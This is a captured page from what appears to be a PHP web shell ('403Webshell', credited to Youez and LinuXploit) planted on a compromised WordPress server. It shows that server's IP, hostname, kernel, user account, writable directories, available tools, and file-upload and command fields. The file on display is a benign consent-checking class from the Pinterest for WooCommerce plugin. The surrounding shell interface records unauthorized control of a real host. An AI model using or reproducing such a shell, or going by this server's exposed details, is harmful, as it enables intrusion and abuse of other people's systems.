403Webshell
Server IP : 69.72.244.102  /  Your IP : 216.73.216.164
Web Server : LiteSpeed
System : Linux s3434.fra1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : konzalta ( 1271)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/konzalta/public_html/wp-content/plugins/pinterest-for-woocommerce/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/konzalta/public_html/wp-content/plugins/pinterest-for-woocommerce/src/WPConsentAPI.php
<?php
/**
 * Implement WP Consent API for Pinterest for WooCommerce.
 *
 * @package Pinterest_For_WooCommerce/Classes/
 * @version 1.4.17
 */

namespace Automattic\WooCommerce\Pinterest;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class handling WP Consent API integration.
 *
 * @since 1.4.17
 */
class WPConsentAPI {

	/**
	 * Constructor.
	 */
	public function __construct() {
		if ( ! $this->is_wp_consent_api_active() ) {
			return;
		}

		add_filter( 'wp_consent_api_registered_' . PINTEREST_FOR_WOOCOMMERCE_PLUGIN_BASENAME, '__return_true' );
		add_filter( 'woocommerce_pinterest_disable_tracking_user_consent', array( $this, 'should_disable_tracking_for_user_consent' ) );
	}

	/**
	 * Check if WP Consent API is active.
	 *
	 * @return bool
	 */
	protected function is_wp_consent_api_active(): bool {
		return function_exists( 'wp_has_consent' );
	}

	/**
	 * Check if tracking should be disabled based on user marketing consent.
	 *
	 * @since 1.4.17
	 * @since 1.4.21 Renamed from should_disable_tracking() for clarity.
	 *
	 * @return bool
	 */
	public function should_disable_tracking_for_user_consent(): bool {
		return ! wp_has_consent( 'marketing' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit